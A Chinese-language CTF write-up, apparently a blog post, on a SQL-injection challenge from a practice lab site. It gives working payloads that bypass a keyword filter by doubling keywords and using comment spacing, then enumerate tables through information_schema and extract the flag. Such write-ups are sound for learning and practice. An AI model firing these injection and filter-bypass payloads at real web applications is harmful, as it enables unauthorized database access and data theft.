0x00 最近学习CTF有一段时间了,下面将实验吧三题题目的简单SQL注入进行一定的整理, 0x01 简单的sql注入 做题的地址为: http://ctf5.shiyanbar.com/423/web/ 第一步:随便输入个数字load下url:http://ctf5.shiyanbar.com/423/web/?id=1发现是这个,老套路,既然题目提示是过滤 我们来各种试试到底过滤了什么 第二步:payload:http://ctf5.shiyanbar.com/423/web/?id=1'发现报错可以确定是字符型的注入,那来了来试试到底过滤了啥吧,尝试用payload如下:http://ctf5.shiyanbar.com/423/web/?id=1' union %23 select order by from or '1'='1,发现过滤得还挺多的基本都过 滤了,好吧来试试如何绕过吧 第三步:一般的套路绕过:内联注释、双重关键字、大小写混用、编码、。。。。。算了绕WAF的比较多,这里就不总结了改日另开新帖来说吧,这里有篇文章还不错推荐给大家:http://www.bugku.com/forum.phpmod=viewthread&tid=128&extra=page%3D1 第四步:http://ctf5.shiyanbar.com/423/web/?id=1'/**/unionunion/**/selectselect/**/table_name/**/fromfrom/**/information_schema.tables/**/wherewhere/**//**/'1'='1这 样尝试爆出表名来,居然报错,好吧 我来两个空格,估计是有个过滤函数,1' unionunion selectselect table_name fromfrom information_schema.tables wherewhere '1'='1这样可以得到表, 第五步:同样可以得到列名以及字段的数据最终payload如下: 1' unionunion selectselect flag fromfrom flag wherewhere '1'='1